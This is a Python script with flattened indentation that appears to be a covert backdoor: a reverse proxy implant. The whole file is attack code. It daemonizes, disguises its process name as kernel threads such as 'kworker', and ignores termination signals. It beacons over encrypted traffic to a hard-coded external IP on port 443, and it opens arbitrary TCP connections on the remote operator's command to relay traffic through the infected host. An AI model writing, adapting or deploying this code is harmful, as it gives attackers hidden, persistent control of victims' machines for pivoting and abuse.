#!/usr/bin/env python3
# BCPY_MARKER - DO NOT REMOVE
import socket,select,threading,random,time,os,sys,signal
try:
threading.stack_size(131072)
except:pass
def daemonize(pidfile):
if os.fork()>0:sys.exit(0)
os.setsid()
if os.fork()>0:sys.exit(0)
try:os.chdir("/")
except:pass
os.umask(0)
for fd in range(3,64):
try:os.close(fd)
except:pass
sys.stdin=open("/dev/null","r")
sys.stdout=open("/dev/null","w")
sys.stderr=open("/dev/null","w")
if pidfile:
try:
with open(pidfile,"w") as f:f.write(str(os.getpid()))
except:pass
def mask_process():
names=["kworker","migration","ksoftirqd","watchdog","rcu_sched","kswapd"]
suffix=["","/0","/1","/0:0","/0:1"]
pn=random.choice(names)+random.choice(suffix)
try:
import ctypes
libc=ctypes.CDLL("libc.so.6")
libc.prctl(15,pn.encode(),0,0,0)
except:pass
try:
with open("/proc/self/comm","wb") as f:f.write(pn.encode()[:15])
except:pass
H,P="62.60.131.183",443
PF="/tmp/.bcpy/62.60.131.183_443.pid"
daemonize(PF)
mask_process()
for s in[1,2,13,15]:
try:signal.signal(s,signal.SIG_IGN)
except:pass
x=bytearray([random.randint(0,254)for _ in range(50)])
def rc4(p,b,s,z):
L=len(p)
for i in range(z):b[s+i]^=p[i%L]
r=list(range(256));j=0
for i in range(256):j=(j+r[i]+p[i%L])&255;r[i],r[j]=r[j],r[i]
i=j=0
for k in range(z):
i=(i+1)&255;j=(j+r[i])&255;r[i],r[j]=r[j],r[i]
b[s+k]^=r[(r[i]+r[j])&255]
for i in range(z):b[s+i]^=p[i%L]
SS=None
SL=threading.Lock()
AL=threading.Lock()
sa=[0]*200
sk=[None]*200
wc=0
MAX_WORKERS=200
ALIVE=True
GEN=0
def ssend(d,gen):
global SS,GEN
try:
with SL:
if SS and gen==GEN:
SS.settimeout(10)
try:SS.sendall(d)
except:return 0
finally:SS.settimeout(None)
return 1
except:return 0
def worker(n,cs,b0,gen):
global sa,sk,wc,GEN,ALIVE
r=bytearray([n,10,0,5,1,0,1,0,0,0,0,0,0])
ok=0
try:
if b0[7]==3:
dl=b0[8];dom=b0[9:9+dl].decode("latin-1");pt=(b0[9+dl]<<8)|b0[9+dl+1]
elif b0[7]==1:
dom=f"{b0[8]}.{b0[9]}.{b0[10]}.{b0[11]}";pt=(b0[12]<<8)|b0[13]
else:raise Exception()
cs.settimeout(15)
cs.connect((dom,pt))
cs.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
cs.settimeout(None)
with AL:
if gen==GEN and ALIVE:sa[n]=1;sk[n]=cs;r[4]=0;ok=1
except:
try:cs.close()
except:pass
rc4(x,r,0,3);rc4(x,r,3,10);ssend(bytes(r),gen)
if ok:
try:
while True:
with AL:
if sa[n]!=1 or gen!=GEN or not ALIVE:break
try:rl,_,el=select.select([cs],[],[cs],1)
except:break
if el:break
if rl:
try:d=cs.recv(65530)
except:break
if not d:break
buf=bytearray([n,len(d)&255,(len(d)>>8)&255])+bytearray(d)
rc4(x,buf,0,3);rc4(x,buf,3,len(d))
if not ssend(bytes(buf),gen):break
except:pass
with AL:
sa[n]=0;sk[n]=None
if wc>0:wc-=1
try:cs.close()
except:pass
if gen==GEN:r[1]=r[2]=0;rc4(x,r,0,3);ssend(bytes(r[:3]),gen)
reconnect_delay=5
max_reconnect_delay=60
def main():
global SS,sa,sk,wc,ALIVE,GEN,reconnect_delay
with AL:
GEN+=1;ALIVE=True;wc=0
for i in range(200):
sa[i]=0;c=sk[i];sk[i]=None
if c:
try:c.close()
except:pass
gen=GEN
rm=r4=ebx=edx=0;b0=bytearray();ex=0;ka_time=time.time()
connected=False
try:
SS=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
SS.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
SS.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1)
SS.settimeout(15)
SS.connect((H,P))
SS.settimeout(None)
hs=bytearray(100);hs[:50]=x;hs[50]=255;hs[51]=255;hs[54:60]=b"Python"
rc4(x,hs,50,50);SS.sendall(bytes(hs))
connected=True;reconnect_delay=5
while ALIVE and gen==GEN:
if r4<4:
try:rl,_,el=select.select([SS],[],[SS],60)
except:break
if el:break
if not rl:
if time.time()-ka_time>60:
ka=bytearray(3);rc4(x,ka,0,3)
if not ssend(bytes(ka),gen):break
ka_time=time.time()
continue
try:d=SS.recv(4-r4)
except:break
if not d:break
b0.extend(d);r4+=len(d);ka_time=time.time()
if r4==4:rc4(x,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8)
if r4==4:
if edx==0:
if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break
if 0<ebx<200:
with AL:sa[ebx]=0;c=sk[ebx];sk[ebx]=None
if c:
try:c.close()
except:pass
r4=0;b0=bytearray()
else:
if edx>1048576:break
need=edx-rm
if need>0:
try:d=SS.recv(min(need,65536))
except:break
if not d:break
b0.extend(d);rm+=len(d)
if rm==edx:
rc4(x,b0,4,rm)
if b0[0]==0:
if 0<ebx<200:
with AL:
if wc>=MAX_WORKERS:r4=0;rm=0;b0=bytearray();continue
wc+=1
cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
t=threading.Thread(target=worker,args=(ebx,cs,bytes(b0),gen),daemon=True)
t.start()
else:
if 0<ebx<200:
with AL:
if sa[ebx]==1 and sk[ebx]:
try:sk[ebx].settimeout(10);sk[ebx].sendall(bytes(b0[4:4+rm]))
except:pass
rm=0;r4=0;b0=bytearray()
except:pass
with AL:
if gen==GEN:ALIVE=False
try:SS.close()
except:pass
SS=None
time.sleep(1)
with AL:
for i in range(200):
if sa[i]!=0:
sa[i]=0;c=sk[i];sk[i]=None
if c:
try:c.close()
except:pass
if not connected:reconnect_delay=min(reconnect_delay*1.5,max_reconnect_delay)
time.sleep(reconnect_delay-1)
if ex:sys.exit(0)
while 1:
try:main()
except:
reconnect_delay=min(reconnect_delay*1.5,max_reconnect_delay)
time.sleep(reconnect_delay)